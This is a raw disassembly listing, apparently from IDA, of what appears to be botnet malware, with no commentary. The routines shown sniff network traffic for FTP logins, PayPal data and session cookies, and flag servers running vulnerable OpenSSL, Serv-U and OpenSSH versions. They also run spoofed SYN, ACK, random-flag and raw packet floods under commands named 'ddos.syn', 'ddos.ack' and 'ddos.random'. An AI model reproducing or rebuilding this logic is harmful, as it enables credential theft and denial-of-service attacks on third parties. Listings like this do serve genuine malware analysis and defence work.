; ---------------------------------------------------------------------------
loc_41537C: ; CODE XREF: sub_41532B+4Bj
push offset a230 ; "230 "
push esi ; Str
call _strstr
test eax, eax
pop ecx
pop ecx
jnz short loc_415378
push offset aUser_2 ; "USER "
push esi ; Str
call _strstr
test eax, eax
pop ecx
pop ecx
jnz short loc_415378
push offset aPass_1 ; "PASS "
push esi ; Str
call _strstr
pop ecx
pop ecx
test eax, eax
setnz al
pop esi
retn
sub_41532B endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_4153B2(char *Str)
sub_4153B2 proc near ; CODE XREF: sub_41549E+2F9p
Str = dword ptr 4
push esi
mov esi, [esp+4+Str]
push offset aHttpSniff ; "HTTP sniff"
push esi ; Str
call _strstr
test eax, eax
pop ecx
pop ecx
jz short loc_4153CC
loc_4153C8: ; CODE XREF: sub_4153B2+29j
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_4153CC: ; CODE XREF: sub_4153B2+14j
push offset a_fast_ ; "#.fast.#"
push esi ; Str
call _strstr
test eax, eax
pop ecx
pop ecx
jnz short loc_4153C8
push offset aPaypal ; "paypal"
push esi ; Str
call _strstr
test eax, eax
pop ecx
pop ecx
jz short loc_4153F2
loc_4153EE: ; CODE XREF: sub_4153B2+4Fj
; sub_4153B2+60j ...
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_4153F2: ; CODE XREF: sub_4153B2+3Aj
push offset aPaypal_0 ; "PAYPAL"
push esi ; Str
call _strstr
test eax, eax
pop ecx
pop ecx
jnz short loc_4153EE
push offset aPaypal_com ; "PAYPAL.COM"
push esi ; Str
call _strstr
test eax, eax
pop ecx
pop ecx
jnz short loc_4153EE
push offset aPaypal_com_0 ; "paypal.com"
push esi ; Str
call _strstr
test eax, eax
pop ecx
pop ecx
jnz short loc_4153EE
push offset aSetCookie ; "Set-Cookie:"
push esi ; Str
call _strstr
pop ecx
pop ecx
test eax, eax
setnz al
pop esi
retn
sub_4153B2 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_415439(char *Str)
sub_415439 proc near ; CODE XREF: sub_41549E:loc_4157F7p
Str = dword ptr 4
push esi
mov esi, [esp+4+Str]
push offset aVulnSniff ; "VULN sniff"
push esi ; Str
call _strstr
test eax, eax
pop ecx
pop ecx
jz short loc_415453
loc_41544F: ; CODE XREF: sub_415439+29j
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_415453: ; CODE XREF: sub_415439+14j
push offset a_fast_ ; "#.fast.#"
push esi ; Str
call _strstr
test eax, eax
pop ecx
pop ecx
jnz short loc_41544F
push offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
push esi ; Str
call _strstr
test eax, eax
pop ecx
pop ecx
jz short loc_415479
loc_415475: ; CODE XREF: sub_415439+4Fj
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_415479: ; CODE XREF: sub_415439+3Aj
push offset aServUFtpServer ; "Serv-U FTP Server"
push esi ; Str
call _strstr
test eax, eax
pop ecx
pop ecx
jnz short loc_415475
push offset aOpenssh_2 ; "OpenSSH_2"
push esi ; Str
call _strstr
pop ecx
pop ecx
test eax, eax
setnz al
pop esi
retn
sub_415439 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=74h
sub_41549E proc near ; DATA XREF: sub_40274D+3F80o
Dst = byte ptr -113B8h
var_113AF = byte ptr -113AFh
var_113AC = dword ptr -113ACh
var_113A8 = dword ptr -113A8h
var_113A4 = dword ptr -113A4h
Str = byte ptr -1138Ch
var_13B8 = byte ptr -13B8h
var_BB8 = byte ptr -0BB8h
var_3B8 = byte ptr -3B8h
var_3B7 = byte ptr -3B7h
Dest = byte ptr -2B8h
var_B8 = dword ptr -0B8h
var_B4 = byte ptr -0B4h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_24 = byte ptr -24h
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov eax, 113B8h
lea ebp, [esp-74h]
call __alloca_probe
mov eax, [ebp+74h+arg_0]
push ebx
push esi
push edi
push 25h
pop ecx
mov esi, eax
lea edi, [ebp+74h+var_B8]
rep movsd
xor esi, esi
push 3Fh
inc esi
mov [eax+90h], esi
xor ebx, ebx
pop ecx
xor eax, eax
mov [ebp+74h+var_3B8], bl
lea edi, [ebp+74h+var_3B7]
rep stosd
stosw
push 0FFh
lea eax, [ebp+74h+var_3B8]
push eax
mov [ebp+74h+var_20], 2
mov [ebp+74h+var_1E], bx
mov [ebp+74h+var_1C], ebx
call dword_444220 ; gethostname
lea eax, [ebp+74h+var_3B8]
push eax
call dword_444168 ; gethostbyname
movsx ecx, word ptr [eax+0Ah]
mov eax, [eax+0Ch]
push ecx ; Size
push dword ptr [eax] ; Src
lea eax, [ebp+74h+var_8]
push eax ; Dst
call _memcpy
mov eax, [ebp+74h+var_8]
add esp, 0Ch
push ebx
push 3
push 2
mov [ebp+74h+var_1C], eax
call dword_444100 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+74h+var_10], edi
jnz short loc_415546
pop edi
pop esi
xor eax, eax
pop ebx
add ebp, 74h
leave
retn 4
; ---------------------------------------------------------------------------
loc_415546: ; CODE XREF: sub_41549E+9Aj
push 10h
lea eax, [ebp+74h+var_20]
push eax
push edi
call dword_4441E4 ; bind
cmp eax, 0FFFFFFFFh
jnz short loc_41557A
call dword_4441C4 ; WSAGetLastError
push eax
lea eax, [ebp+74h+Dest]
push offset asc_435680 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+74h+var_2C], ebx
jnz short loc_4155D6
jmp short loc_4155BC
; ---------------------------------------------------------------------------
loc_41557A: ; CODE XREF: sub_41549E+B8j
push ebx
push ebx
lea eax, [ebp+74h+var_24]
push eax
push ebx
push ebx
push 4
lea eax, [ebp+74h+var_C]
push eax
push 98000001h
push edi
mov [ebp+74h+var_C], esi
call dword_4441E0 ; WSAIoctl
cmp eax, 0FFFFFFFFh
jnz short loc_4155FA
call dword_4441C4 ; WSAGetLastError
push eax
lea eax, [ebp+74h+Dest]
push offset asc_435650 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+74h+var_2C], ebx
jnz short loc_4155D6
loc_4155BC: ; CODE XREF: sub_41549E+DAj
push ebx ; int
push [ebp+74h+var_30] ; int
lea eax, [ebp+74h+Dest]
push eax ; int
lea eax, [ebp+74h+var_B4]
push eax ; Str
push [ebp+74h+var_B8] ; int
call sub_40123B
add esp, 14h
loc_4155D6: ; CODE XREF: sub_41549E+D8j
; sub_41549E+11Cj
lea eax, [ebp+74h+Dest]
push eax
call sub_417D70
pop ecx
push edi
call dword_444218 ; closesocket
push [ebp+74h+var_34]
call sub_40B149
pop ecx
push ebx
call ds:dword_42B068 ; ExitThread
loc_4155FA: ; CODE XREF: sub_41549E+FCj
mov esi, 200h
loc_4155FF: ; CODE XREF: sub_41549E+190j
; sub_41549E+1B6j ...
mov edi, 0FFFFh
push edi ; Size
lea eax, [ebp+74h+Dst]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 0Ch
push ebx
push edi
lea eax, [ebp+74h+Dst]
push eax
push [ebp+74h+var_10]
call dword_444064 ; recv
cmp [ebp+74h+var_113AF], 6
jnz short loc_4155FF
push [ebp+74h+var_113A4]
call ds:dword_42B1D8 ; htons
push [ebp+74h+var_113A4+2]
movzx edi, ax
call ds:dword_42B1D8 ; htons
cmp edi, 6Eh
movzx eax, ax
mov [ebp+74h+arg_0], eax
jz short loc_4155FF
cmp edi, 19h
jz short loc_4155FF
cmp eax, 6Eh
jz short loc_4155FF
cmp eax, 19h
jz short loc_4155FF
mov eax, [ebp+74h+var_113AC]
push eax
mov dword_4D5270, eax
call ds:dword_42B1DC ; inet_ntoa
push eax
lea eax, [ebp+74h+var_13B8]
push offset aS ; "%s"
push eax ; Dest
call _sprintf
mov eax, [ebp+74h+var_113A8]
add esp, 0Ch
push eax
mov dword_4D5270, eax
call ds:dword_42B1DC ; inet_ntoa
push eax
lea eax, [ebp+74h+var_BB8]
push offset aS ; "%s"
push eax ; Dest
call _sprintf
lea eax, [ebp+74h+Str]
push eax ; Str
mov [ebp+74h+var_4], ebx
call _strlen
add esp, 10h
test eax, eax
jle short loc_4156F5
loc_4156C6: ; CODE XREF: sub_41549E+255j
mov eax, [ebp+74h+var_4]
lea eax, [ebp+eax+74h+Str]
cmp byte ptr [eax], 0Dh
jnz short loc_4156D8
mov byte ptr [eax], 20h
loc_4156D8: ; CODE XREF: sub_41549E+235j
cmp byte ptr [eax], 0Ah
jnz short loc_4156E0
mov byte ptr [eax], 20h
loc_4156E0: ; CODE XREF: sub_41549E+23Dj
inc [ebp+74h+var_4]
lea eax, [ebp+74h+Str]
push eax ; Str
call _strlen
cmp [ebp+74h+var_4], eax
pop ecx
jl short loc_4156C6
loc_4156F5: ; CODE XREF: sub_41549E+226j
cmp edi, 50h
jz loc_415790
cmp [ebp+74h+arg_0], 50h
jz loc_415790
lea eax, [ebp+74h+Str]
push eax ; Str
call sub_41519E
test al, al
pop ecx
lea eax, [ebp+74h+Str]
push eax ; Str
jz short loc_41573C
push [ebp+74h+arg_0]
lea eax, [ebp+74h+var_BB8]
push eax
push edi
lea eax, [ebp+74h+var_13B8]
push eax
push offset unk_43561C
jmp loc_4157BF
; ---------------------------------------------------------------------------
loc_41573C: ; CODE XREF: sub_41549E+280j
call sub_4152B5
test al, al
pop ecx
lea eax, [ebp+74h+Str]
push eax ; Str
jz short loc_415766
push [ebp+74h+arg_0]
lea eax, [ebp+74h+var_BB8]
push eax
push edi
lea eax, [ebp+74h+var_13B8]
push eax
push offset unk_4355E8
jmp short loc_4157BF
; ---------------------------------------------------------------------------
loc_415766: ; CODE XREF: sub_41549E+2ADj
call sub_41532B
test al, al
pop ecx
jz short loc_415790
lea eax, [ebp+74h+Str]
push eax
push [ebp+74h+arg_0]
lea eax, [ebp+74h+var_BB8]
push eax
push edi
lea eax, [ebp+74h+var_13B8]
push eax
push offset unk_4355B4
jmp short loc_4157BF
; ---------------------------------------------------------------------------
loc_415790: ; CODE XREF: sub_41549E+25Aj
; sub_41549E+264j ...
lea eax, [ebp+74h+Str]
push eax ; Str
call sub_4153B2
test al, al
pop ecx
lea eax, [ebp+74h+Str]
push eax
jz short loc_4157F7
push [ebp+74h+arg_0]
lea eax, [ebp+74h+var_BB8]
push eax
push edi
lea eax, [ebp+74h+var_13B8]
push eax
push offset asc_43557C ; "-"
loc_4157BF: ; CODE XREF: sub_41549E+299j
; sub_41549E+2C6j ...
lea eax, [ebp+74h+Dest]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 20h
cmp [ebp+74h+var_2C], ebx
jnz loc_4155FF
push ebx ; int
push [ebp+74h+var_30] ; int
lea eax, [ebp+74h+Dest]
push eax ; int
lea eax, [ebp+74h+var_B4]
push eax ; Str
push [ebp+74h+var_B8] ; int
call sub_40123B
add esp, 14h
jmp loc_4155FF
; ---------------------------------------------------------------------------
loc_4157F7: ; CODE XREF: sub_41549E+308j
call sub_415439
test al, al
pop ecx
jz loc_4155FF
lea eax, [ebp+74h+Str]
push eax
push [ebp+74h+arg_0]
lea eax, [ebp+74h+var_BB8]
push eax
push edi
lea eax, [ebp+74h+var_13B8]
push eax
push offset unk_435544
jmp short loc_4157BF
sub_41549E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=64h
; int __cdecl sub_415825(int,int,char *Str1,int,int)
sub_415825 proc near ; CODE XREF: sub_415B7C+40p
var_288 = byte ptr -288h
Dest = byte ptr -0F8h
var_B8 = word ptr -0B8h
var_B6 = word ptr -0B6h
var_B4 = dword ptr -0B4h
var_A8 = byte ptr -0A8h
var_A7 = byte ptr -0A7h
var_94 = byte ptr -94h
var_88 = byte ptr -88h
Dst = byte ptr -80h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
Src = dword ptr -64h
var_60 = dword ptr -60h
var_5C = byte ptr -5Ch
var_5B = byte ptr -5Bh
var_5A = word ptr -5Ah
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = byte ptr -2Ch
var_2A = word ptr -2Ah
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = byte ptr -24h
var_23 = byte ptr -23h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = word ptr -6
var_4 = word ptr -4
var_2 = word ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
Str1 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
lea ebp, [esp-64h]
sub esp, 288h
push ebx
push edi
push 0Eh
pop ecx
xor eax, eax
xor ebx, ebx
mov [ebp+64h+var_A8], bl
lea edi, [ebp+64h+var_A7]
rep stosd
stosw
stosb
lea eax, [ebp+64h+var_288]
push eax
push 202h
call dword_444110 ; WSAStartup
test eax, eax
jz short loc_415861
xor eax, eax
jmp loc_415B75
; ---------------------------------------------------------------------------
loc_415861: ; CODE XREF: sub_415825+33j
xor edi, edi
inc edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call dword_444074 ; WSASocketA
cmp eax, 0FFFFFFFFh
mov [ebp+64h+var_18], eax
jz loc_415B6D
push 4
lea ecx, [ebp+64h+var_44]
push ecx
push 2
push ebx
push eax
mov [ebp+64h+var_44], edi
call dword_444120 ; setsockopt
cmp eax, 0FFFFFFFFh
jz loc_415B64
push esi
push [ebp+64h+arg_C]
mov [ebp+64h+var_B8], 2
call dword_444260 ; htons
mov esi, [ebp+64h+arg_0]
push 28h
mov [ebp+64h+var_B6], ax
mov [ebp+64h+var_B4], esi
mov [ebp+64h+var_2C], 45h
call dword_444260 ; htons
push [ebp+64h+arg_C]
mov [ebp+64h+var_2A], ax
mov [ebp+64h+var_28], di
mov [ebp+64h+var_26], bx
mov [ebp+64h+var_24], 80h
mov [ebp+64h+var_23], 6
mov [ebp+64h+var_22], bx
mov [ebp+64h+var_1C], esi
call dword_444260 ; htons
mov [ebp+64h+var_12], ax
call _rand
movzx eax, ax
cdq
mov ecx, 401h
idiv ecx
push edx
call dword_444260 ; htons
push 12345678h
mov [ebp+64h+var_14], ax
call dword_444234 ; htonl
push offset aDdos_syn ; "ddos.syn"
push [ebp+64h+Str1] ; Str1
mov [ebp+64h+var_10], eax
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_415931
mov [ebp+64h+var_C], ebx
mov [ebp+64h+var_7], 2
jmp short loc_415985
; ---------------------------------------------------------------------------
loc_415931: ; CODE XREF: sub_415825+101j
push offset aDdos_ack ; "ddos.ack"
push [ebp+64h+Str1] ; Str1
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_41594D
mov [ebp+64h+var_C], ebx
mov [ebp+64h+var_7], 10h
jmp short loc_415985
; ---------------------------------------------------------------------------
loc_41594D: ; CODE XREF: sub_415825+11Dj
push offset aDdos_random ; "ddos.random"
push [ebp+64h+Str1] ; Str1
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_415985
call _rand
cdq
push 3
pop ecx
idiv ecx
mov [ebp+64h+var_C], edx
call _rand
push 2
cdq
pop ecx
idiv ecx
neg edx
sbb dl, dl
and dl, 0Eh
add dl, cl
mov [ebp+64h+var_7], dl
loc_415985: ; CODE XREF: sub_415825+10Aj
; sub_415825+126j ...
push 4000h
mov [ebp+64h+var_8], 50h
call dword_444260 ; htons
mov [ebp+64h+var_6], ax
lea eax, [ebp+64h+var_6C]
push eax
mov [ebp+64h+var_2], bx
mov [ebp+64h+var_30], ebx
call ds:dword_42B0DC ; QueryPerformanceFrequency
lea eax, [ebp+64h+var_38]
push eax
call ds:dword_42B0D8 ; QueryPerformanceCounter
push [ebp+64h+var_68]
mov eax, [ebp+64h+arg_10]
push [ebp+64h+var_6C]
cdq
push edx
push eax
call __allmul
add eax, [ebp+64h+var_38]
mov [ebp+64h+var_4], bx
adc edx, [ebp+64h+var_34]
mov [ebp+64h+var_40], eax
mov [ebp+64h+var_3C], edx
call _rand
cdq
mov ecx, 3E9h
idiv ecx
mov edi, 3E8h
add edx, edi
push edx
call dword_444260 ; htons
mov [ebp+64h+var_14], ax
call _rand
call _rand
push eax
call dword_444260 ; htons
push [ebp+64h+arg_4]
movzx eax, ax
mov [ebp+64h+var_10], eax
call dword_444234 ; htonl
push 14h
pop esi
jmp short loc_415A7D
; ---------------------------------------------------------------------------
loc_415A18: ; CODE XREF: sub_415825+30Cj
add [ebp+64h+var_30], eax
lea eax, [ebp+64h+var_38]
push eax
call ds:dword_42B0D8 ; QueryPerformanceCounter
mov eax, [ebp+64h+var_34]
cmp eax, [ebp+64h+var_3C]
jg loc_415B60
jl short loc_415A3F
mov eax, [ebp+64h+var_38]
cmp eax, [ebp+64h+var_40]
jnb loc_415B60
loc_415A3F: ; CODE XREF: sub_415825+20Cj
mov [ebp+64h+var_4], bx
call _rand
cdq
mov ecx, 3E9h
idiv ecx
add edx, edi
push edx
call dword_444260 ; htons
mov [ebp+64h+var_14], ax
call _rand
call _rand
push eax
call dword_444260 ; htons
push [ebp+64h+arg_4]
movzx eax, ax
mov [ebp+64h+var_10], eax
call dword_444234 ; htonl
loc_415A7D: ; CODE XREF: sub_415825+1F1j
inc [ebp+64h+arg_4]
mov [ebp+64h+var_20], eax
mov eax, [ebp+64h+var_1C]
push esi
mov [ebp+64h+var_60], eax
mov [ebp+64h+var_5C], bl
mov [ebp+64h+var_5B], 6
call dword_444260 ; htons
mov [ebp+64h+var_5A], ax
mov eax, [ebp+64h+var_20]
mov [ebp+64h+Src], eax
lea eax, [ebp+64h+Src]
push 20h ; Size
push eax ; Src
lea eax, [ebp+64h+var_A8]
push eax ; Dst
call _memcpy
lea eax, [ebp+64h+var_14]
push esi ; Size
push eax ; Src
lea eax, [ebp+64h+var_88]
push eax ; Dst
call _memcpy
lea eax, [ebp+64h+var_A8]
push 34h
push eax
call sub_402422
mov [ebp+64h+var_4], ax
lea eax, [ebp+64h+var_2C]
push esi ; Size
push eax ; Src
lea eax, [ebp+64h+var_A8]
push eax ; Dst
call _memcpy
lea eax, [ebp+64h+var_14]
push esi ; Size
push eax ; Src
lea eax, [ebp+64h+var_94]
push eax ; Dst
call _memcpy
push 4 ; Size
lea eax, [ebp+64h+Dst]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 44h
lea eax, [ebp+64h+var_A8]
push 28h
push eax
call sub_402422
mov [ebp+64h+var_22], ax
lea eax, [ebp+64h+var_2C]
push esi ; Size
push eax ; Src
lea eax, [ebp+64h+var_A8]
push eax ; Dst
call _memcpy
add esp, 14h
push 10h
lea eax, [ebp+64h+var_B8]
push eax
push ebx
push 28h
lea eax, [ebp+64h+var_A8]
push eax
push [ebp+64h+var_18]
call dword_4440CC ; sendto
cmp eax, 0FFFFFFFFh
jnz loc_415A18
call dword_4441C4 ; WSAGetLastError
push eax
lea eax, [ebp+64h+Dest]
push offset asc_4356AC ; "-"
push eax ; Dest
call _sprintf
lea eax, [ebp+64h+Dest]
push eax
call sub_417D70
add esp, 10h
jmp short loc_415B63
; ---------------------------------------------------------------------------
loc_415B60: ; CODE XREF: sub_415825+206j
; sub_415825+214j
mov ebx, [ebp+64h+var_30]
loc_415B63: ; CODE XREF: sub_415825+339j
pop esi
loc_415B64: ; CODE XREF: sub_415825+73j
push [ebp+64h+var_18]
call dword_444218 ; closesocket
loc_415B6D: ; CODE XREF: sub_415825+57j
call dword_444224 ; WSACleanup
mov eax, ebx
loc_415B75: ; CODE XREF: sub_415825+37j
pop edi
pop ebx
add ebp, 64h
leave
retn
sub_415825 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_415B7C(int,char *Str,char *Str1,int)
sub_415B7C proc near ; CODE XREF: sub_415BD8+4Fp
arg_0 = dword ptr 4
Str = dword ptr 8
Str1 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
push edi
push [esp+0Ch+arg_0]
call sub_4022BD
push [esp+10h+Str] ; Str
mov esi, eax
call j__atol
push [esp+14h+arg_C] ; Str
mov ebx, eax
call j__atol
mov edi, eax
call _rand
cdq
mov ecx, 200h
idiv ecx
push edi ; int
push ebx ; int
push [esp+20h+Str1] ; Str1
lea eax, [edx+esi+100h]
push eax ; int
push esi ; int
call sub_415825
add esp, 20h
test eax, eax
jnz short loc_415BC9
inc eax
loc_415BC9: ; CODE XREF: sub_415B7C+4Aj
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
sub_415B7C endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_415BD8 proc near ; DATA XREF: sub_40274D+6235o
Dest = byte ptr -494h
var_294 = dword ptr -294h
var_290 = dword ptr -290h
var_28C = dword ptr -28Ch
var_20C = byte ptr -20Ch
var_18C = dword ptr -18Ch
Str = byte ptr -10Ch
Str1 = byte ptr -8Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 494h
mov eax, [ebp+arg_0]
push esi
push edi
mov esi, eax
mov ecx, 0A5h
lea edi, [ebp+var_294]
rep movsd
mov dword ptr [eax+290h], 1
call ds:dword_42B038 ; GetTickCount
push eax
call sub_41ECD4
lea eax, [ebp+var_18C]
push eax ; int
lea eax, [ebp+Str1]
push eax ; Str1
lea eax, [ebp+var_20C]
push eax ; Str
lea eax, [ebp+var_28C]
push eax ; int
call sub_415B7C
push eax
lea eax, [ebp+Dest]
push offset asc_4356C8 ; "-"
push eax ; Dest
call _sprintf
xor esi, esi
add esp, 20h
cmp [ebp+var_8], esi
jnz short loc_415C68
push esi ; int
push [ebp+var_C] ; int
lea eax, [ebp+Dest]
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_294] ; int
call sub_40123B
add esp, 14h
loc_415C68: ; CODE XREF: sub_415BD8+6Ej
lea eax, [ebp+Dest]
push eax
call sub_417D70
push [ebp+var_290]
call sub_40B149
pop ecx
pop ecx
push esi
call ds:dword_42B068 ; ExitThread
int 3 ; Trap to Debugger
sub_415BD8 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame fpd=74h
sub_415C89 proc near ; DATA XREF: sub_40274D+642Do
Dest = byte ptr -3BCh
var_1BC = dword ptr -1BCh
var_1B8 = byte ptr -1B8h
var_138 = byte ptr -138h
Str = byte ptr -0B8h
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
Dst = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
lea ebp, [esp-74h]
sub esp, 3BCh
mov eax, [ebp+74h+arg_0]
push ebx
push esi
push edi
push 68h
pop ecx
push 0FFh
mov esi, eax
xor ebx, ebx
push 3
lea edi, [ebp+74h+var_1BC]
rep movsd
inc ebx
push 2
mov [eax+19Ch], ebx
call dword_444100 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+74h+var_4], eax
jnz short loc_415CF2
call dword_4441C4 ; WSAGetLastError
push eax
lea eax, [ebp+74h+Dest]
push offset asc_4357D4 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
xor edi, edi
loc_415CE4: ; CODE XREF: sub_415C89+9Ej
; sub_415C89+C5j ...
cmp [ebp+74h+var_24], edi
jnz loc_415F2D
jmp loc_415F10
; ---------------------------------------------------------------------------
loc_415CF2: ; CODE XREF: sub_415C89+3Cj
push 4
lea ecx, [ebp+74h+var_C]
push ecx
push 2
xor edi, edi
push edi
push eax
mov [ebp+74h+var_C], ebx
call dword_444120 ; setsockopt
cmp eax, 0FFFFFFFFh
jnz short loc_415D29
call dword_4441C4 ; WSAGetLastError
push eax
lea eax, [ebp+74h+Dest]
push offset asc_4357A4 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
jmp short loc_415CE4
; ---------------------------------------------------------------------------
loc_415D29: ; CODE XREF: sub_415C89+81j
lea eax, [ebp+74h+var_1B8]
push eax
call dword_44417C ; inet_addr
cmp eax, 0FFFFFFFFh
jnz short loc_415D50
lea eax, [ebp+74h+Dest]
push offset asc_435784 ; "-"
push eax ; Dest
call _sprintf
pop ecx
pop ecx
jmp short loc_415CE4
; ---------------------------------------------------------------------------
loc_415D50: ; CODE XREF: sub_415C89+B0j
push 10h ; Size
lea eax, [ebp+74h+Dst]
push edi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
push edi
mov [ebp+74h+Dst], 2
call dword_444260 ; htons
mov [ebp+74h+var_1A], ax
lea eax, [ebp+74h+var_1B8]
push eax
call dword_44417C ; inet_addr
mov esi, ds:dword_42B038
mov [ebp+74h+var_18], eax
mov [ebp+74h+arg_0], edi
call esi ; GetTickCount
mov [ebp+74h+var_8], eax
jmp loc_415EB1
; ---------------------------------------------------------------------------
loc_415D93: ; CODE XREF: sub_415C89+239j
push 41Ch
mov byte_4D5278, 45h
call dword_444260 ; htons
cmp [ebp+74h+var_2C], edi
mov word_4D527A, ax
mov word_4D527C, bx
mov word_4D527E, di
mov byte_4D5280, 80h
mov byte_4D5281, bl
mov word_4D5282, di
jz short loc_415E02
call _rand
mov ebx, eax
shl ebx, 8
call _rand
add ebx, eax
shl ebx, 8
call _rand
add ebx, eax
shl ebx, 8
call _rand
add ebx, eax
mov dword_4D5284, ebx
xor ebx, ebx
inc ebx
jmp short loc_415E1A
; ---------------------------------------------------------------------------
loc_415E02: ; CODE XREF: sub_415C89+147j
push [ebp+74h+var_1BC]
call sub_4023C9
pop ecx
push eax
call dword_44417C ; inet_addr
mov dword_4D5284, eax
loc_415E1A: ; CODE XREF: sub_415C89+177j
mov eax, [ebp+74h+var_18]
mov dword_4D5288, eax
call _rand
cdq
mov ecx, 100h
idiv ecx
mov byte_4D528C, dl
call _rand
cdq
mov ecx, 100h
idiv ecx
mov byte_4D528D, dl
call _rand
cdq
mov ecx, 0F0h
idiv ecx
push 400h ; Size
mov word_4D528E, di
mov word_4D5292, bx
inc edx
mov word_4D5290, dx
call _rand
cdq
mov ecx, 0FFh
idiv ecx
push edx ; Val
push offset dword_4D5294 ; Dst
call _memset
add esp, 0Ch
push 10h
lea eax, [ebp+74h+Dst]
push eax
push edi
push 41Ch
push offset byte_4D5278
push [ebp+74h+var_4]
call dword_4440CC ; sendto
cmp eax, 0FFFFFFFFh
jz loc_415F4A
inc [ebp+74h+arg_0]
loc_415EB1: ; CODE XREF: sub_415C89+105j
call esi ; GetTickCount
sub eax, [ebp+74h+var_8]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+74h+var_30]
jbe loc_415D93
push [ebp+74h+var_4]
call dword_444218 ; closesocket
mov eax, [ebp+74h+arg_0]
imul eax, 3Ch
mov ecx, eax
shr eax, 0Ah
xor edx, edx
div [ebp+74h+var_30]
shr ecx, 14h
push ecx
push eax
push [ebp+74h+arg_0]
lea eax, [ebp+74h+var_1B8]
push eax
lea eax, [ebp+74h+var_138]
push eax
lea eax, [ebp+74h+Dest]
push offset asc_435738 ; "-"
push eax ; Dest
call _sprintf
add esp, 1Ch
cmp [ebp+74h+var_24], edi
jnz short loc_415F2D
loc_415F10: ; CODE XREF: sub_415C89+64j
push edi ; int
push [ebp+74h+var_28] ; int
lea eax, [ebp+74h+Dest]
push eax ; int
lea eax, [ebp+74h+Str]
push eax ; Str
push [ebp+74h+var_1BC] ; int
call sub_40123B
add esp, 14h
loc_415F2D: ; CODE XREF: sub_415C89+5Ej
; sub_415C89+285j
lea eax, [ebp+74h+Dest]
push eax
call sub_417D70
push [ebp+74h+var_38]
call sub_40B149
pop ecx
pop ecx
push edi
call ds:dword_42B068 ; ExitThread
loc_415F4A: ; CODE XREF: sub_415C89+21Fj
push [ebp+74h+var_4]
call dword_444218 ; closesocket
call dword_4441C4 ; WSAGetLastError
push eax
push [ebp+74h+arg_0]
lea eax, [ebp+74h+var_1B8]
push eax
push offset asc_4356F0 ; "-"
lea eax, [ebp+74h+Dest]
push 200h ; Count
push eax ; Dest
call __snprintf
add esp, 18h
jmp loc_415CE4
sub_415C89 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=74h
sub_415F82 proc near ; DATA XREF: sub_40274D+524Eo
var_10320 = byte ptr -10320h
Dest = byte ptr -344h
var_144 = dword ptr -144h
Str = byte ptr -140h
var_C0 = byte ptr -0C0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
Dst = byte ptr -20h
var_18 = dword ptr -18h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov eax, 10320h
lea ebp, [esp-74h]
call __alloca_probe
mov eax, [ebp+74h+arg_0]
push ebx
push esi
push edi
push 49h
pop ecx
mov esi, eax
lea edi, [ebp+74h+var_144]
rep movsd
xor edi, edi
inc edi
mov [eax+120h], edi
call dword_444158 ; IcmpCreateFile
mov [ebp+74h+arg_0], eax
lea eax, [ebp+74h+var_C0]
push eax
call dword_44417C ; inet_addr
mov esi, eax
